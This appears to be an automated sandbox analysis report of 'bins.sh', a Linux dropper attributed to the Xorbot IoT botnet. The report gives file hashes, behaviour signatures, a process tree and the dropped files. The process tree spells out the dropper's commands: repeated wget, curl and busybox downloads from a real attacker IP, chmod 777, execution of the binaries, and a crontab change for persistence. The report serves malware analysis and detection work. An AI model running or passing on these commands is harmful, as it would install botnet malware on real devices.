Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03-12-2024 16:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f6bd33e2fdcb1e0896028c8af8d15c0b

  • SHA1

    19ac7736e1325c6b2f90a67e915cbf04b778d6d3

  • SHA256

    fb49bd7f52a014b5e07587fb826822f3884b9ecc8a40380dcd2c0f58284f4de4

  • SHA512

    2548568c238900b5445d454b38ca9c33d7d55f0888615a5057058aacd5980ca49d60d2084da5f43764db0b92a08fa1e5411fcfd18c628a0c1212ebcb5781b032

  • SSDEEP

    192:ntdYqZnD6Jb48QutTRtcHZ8QutTRtitdYa:8qZnD6Jima

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:674
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:682
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:695
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:705
        • /bin/chmod
          chmod 777 Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • File and Directory Permissions Modification
          PID:707
        • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          ./Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:708
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:710
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:712
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:713
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:714
              • /bin/rm
                rm Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
                2⤵
                  PID:716
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                  2⤵
                    PID:719
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                    2⤵
                      PID:720
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                      • Writes file to tmp directory
                      PID:721
                    • /bin/chmod
                      chmod 777 bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                      • File and Directory Permissions Modification
                      PID:722
                    • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      ./bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                      • Executes dropped EXE
                      PID:723
                    • /bin/rm
                      rm bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
                      2⤵
                        PID:724
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                        2⤵
                          PID:725
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                          2⤵
                            PID:726
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                            • Writes file to tmp directory
                            PID:727
                          • /bin/chmod
                            chmod 777 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                            • File and Directory Permissions Modification
                            PID:730
                          • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            ./3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                            • Executes dropped EXE
                            PID:732
                          • /bin/rm
                            rm 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
                            2⤵
                              PID:733
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                              2⤵
                                PID:734
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                2⤵
                                  PID:736
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:737
                                • /bin/chmod
                                  chmod 777 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:742
                                • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  ./7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                  • Executes dropped EXE
                                  PID:744
                                • /bin/rm
                                  rm 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                                  2⤵
                                    PID:745
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                    2⤵
                                      PID:747
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                      2⤵
                                        PID:748
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:750
                                      • /bin/chmod
                                        chmod 777 pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:755
                                      • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        ./pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                        • Executes dropped EXE
                                        PID:756
                                      • /bin/rm
                                        rm pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                                        2⤵
                                          PID:759
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                          2⤵
                                            PID:760
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                            2⤵
                                              PID:762
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:764
                                            • /bin/chmod
                                              chmod 777 NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:769
                                            • /tmp/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              ./NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                              • Executes dropped EXE
                                              PID:771
                                            • /bin/rm
                                              rm NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                                              2⤵
                                                PID:774
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                                                2⤵
                                                  PID:776

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop

                                                Filesize

                                                177KB

                                                MD5

                                                786d75a158fe731feca3880f436082c0

                                                SHA1

                                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                SHA256

                                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                SHA512

                                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                              • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww

                                                Filesize

                                                141KB

                                                MD5

                                                3ca8decdb1e52c423c521bfff02ac200

                                                SHA1

                                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                SHA256

                                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                SHA512

                                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                              • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU

                                                Filesize

                                                119KB

                                                MD5

                                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                                SHA1

                                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                SHA256

                                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                SHA512

                                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                              • /tmp/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO

                                                Filesize

                                                111KB

                                                MD5

                                                701e7a55a4f3650f5feee92a9860e5fc

                                                SHA1

                                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                SHA256

                                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                SHA512

                                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                              • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx

                                                Filesize

                                                107KB

                                                MD5

                                                eb9c3a0de91fcf16ba17cb24608df68c

                                                SHA1

                                                09d95a7d70d5e115d103be51edff7c498d272fac

                                                SHA256

                                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                SHA512

                                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                              • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /var/spool/cron/crontabs/tmp.4PHpBM

                                                Filesize

                                                210B

                                                MD5

                                                5afb8eccbaa922f9ac0416abd3a5c50a

                                                SHA1

                                                058900774f503b64473d4b7f043d3cdff99aaac1

                                                SHA256

                                                463bcc0b4ca0ffcf86d728d11471aec5ab3cf799d3e1d63439133d55268f99d3

                                                SHA512

                                                189fdd7e814fc595c4a63f4616b8a0940a4c824b91748fbdcdc8122c4e41ded0bc565f3b975a9be6db44a6dee5db3bda69d3945c792c35a11b5baa38c88dc2cb